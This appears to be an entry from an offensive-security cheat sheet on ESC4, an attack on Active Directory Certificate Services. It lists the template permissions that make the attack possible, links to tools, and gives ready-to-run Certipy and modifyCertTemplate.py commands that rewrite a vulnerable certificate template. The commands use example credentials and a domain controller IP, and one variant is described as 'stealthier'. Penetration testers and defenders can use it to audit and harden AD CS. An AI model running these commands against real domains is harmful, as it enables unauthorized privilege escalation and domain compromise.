ESC4

Vulnerable Certificate Template ACEs

• https://github.com/cfalta/PoshADCS

Right	Description
Owner	Implicit full control of the object, can edit any properties.
FullControl	Full control of the object, can edit any properties.
WriteOwner	Can modify the owner to an adversary-controlled principal.
WriteDacl	Can modify access control to grant an adversary FullControl.
WriteProperty	Can edit any properties.

Enumerate and Modify Templates

• https://www.fortalicesolutions.com/posts/adcs-playing-with-esc4

• https://github.com/fortalice/modifyCertTemplate

Automatically via Certipy:

$ certipy template -u [email protected] -p 'Passw0rd!' -target DC01.megacorp.local -template VulnTemplate -save-old -dc-ip 192.168.1.11
$ certipy template -u [email protected] -p 'Passw0rd!' -target DC01.megacorp.local -template VulnTemplate -configuration VulnTemplate.json -dc-ip 192.168.1.11

A stealthier approach is to dump all properties of the vulnerable cert and modify only the needed parts in Certipy's code:

$ python3 modifyCertTemplate.py -template VulnTemplate -raw megacorp.local/snovvcrash:'Passw0rd!' -dc-ip 192.168.1.11